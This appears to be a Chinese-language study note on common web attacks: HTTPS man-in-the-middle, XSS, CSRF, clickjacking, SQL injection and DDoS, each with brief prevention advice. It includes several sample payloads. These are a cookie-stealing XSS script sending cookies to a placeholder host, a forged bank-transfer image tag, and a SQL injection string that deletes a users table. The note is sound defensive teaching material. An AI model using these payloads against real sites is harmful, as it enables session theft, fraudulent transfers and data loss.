攻击手段

68 阅读3分钟

什么是https中间人攻击

攻击步骤

  • 黑客自己先准被一套公钥b私钥b
  • 当服务器将公钥a发给客户端时, 黑客将公钥a劫持换成公钥b
  • 此时客户端拿到的公钥是公钥b
  • 客户端使用公钥b对数据进行加密, 发送给服务端
  • 黑客将加密数据劫持, 使用私钥b对加密数据进行解密

预防:

使用正规厂商的数字证书

XSS攻击

    • 什么是 XSS 攻击?
    • 如何防范 XSS 攻击?
    • 什么是 CSP?

什么是 XSS 攻击?

XSS 简单点来说,就是攻击者想尽一切办法将可以执行的代码注入到网页中。

攻击方式举例01

  • 修改 URL 参数的方式加入攻击代码
  • 一般就是诱导你点击某个链接
http://www.domain.com?name=<script>alert(1)</script>

攻击方式举例02

  • 通过提交评论注入代码
  • 提交的评论将会被注入到数据库中
  • 所有加载了这条评论的人都会受到攻击
  • 这种攻击属于持久形, 比上一种攻击方式危害更大

盗取cookie

    const str = `
        123xxx rewr sfdds, wer ...
        <script>
            var img = document.createElement('image')
            img.src='https://xxx.com/api/xxx?cookie=${document.cookie}'
        </script>
    `

如何防止XSS攻击

方法一: 转义字符

首先,对于用户的输入应该是永远不信任的。最普遍的做法就是转义输入输出的内容,对于引号、尖括号、斜杠进行转义

<script>alert(1)</script> 
// ---转义---> 
&lt;script&gt;alert(1)&lt;&#x2F;script&gt;

方法二: CSP

CSP 本质上就是建立白名单,开发者明确告诉浏览器哪些外部资源可以加载和执行。我们只需要配置规则,如何拦截是由浏览器自己实现的。我们可以通过这种方式来尽量减少 XSS 攻击。

CSRF

攻击步骤

  1. ​用户登录可信网站A​​(如银行网站),生成身份验证Cookie并保存在浏览器中
  2. ​用户未退出A时访问恶意网站B​​:B页面嵌入伪造请求(如自动提交的表单或<img>标签)
  3. ​浏览器自动发送请求到A​​:携带用户Cookie,以用户权限执行操作(如转账、改密)
  4. ​网站A执行恶意操作​​:因请求携带合法Cookie,服务器误判为用户自愿操作

攻击类型

  • ​GET型​​:通过<img>标签伪造请求(例:<img src="http://bank.com/transfer?to=hacker&amount=1000">
  • ​POST型​​:隐藏表单自动提交(例:伪造转账表单 + JavaScript自动提交)

预防

严格的跨域限制 + 验证码机制

点击劫持

攻击方式

  • 点击劫持(Clickjacking),也称为 ​​UI-覆盖攻击​​ 或 ​​界面伪装攻击
  • 攻击者创建一个看似无害的诱饵页面(如游戏、抽奖活动),并在其上层覆盖一个透明的 <iframe>,其中嵌入目标网站(如银行、社交平台)的敏感操作页面(如转账按钮)

预防

  • 静止我的网站(如银行网站)被嵌入到iframe
  • 敏感操作(例如转账)需要验证码

SQL注入

  • 将用户名设置成: '; delete from users; --
// 查询用户
select * from users where username='jack' and pword='123'

// 我们将用户名 'jack' 改成如下字符串
`'; delete from users; -- `

// 当查询用户时, sql语句会变成
select * from users where username=''; delete from users; -- and pword='123'
// 导致数据表被删
  • 预防: 替换特殊字符串

DDoS

  • 分布式, 大规模的流量访问, 使服务器瘫痪
  • 预防: 软件层不好做, 需要硬件预防(如阿里云WAF)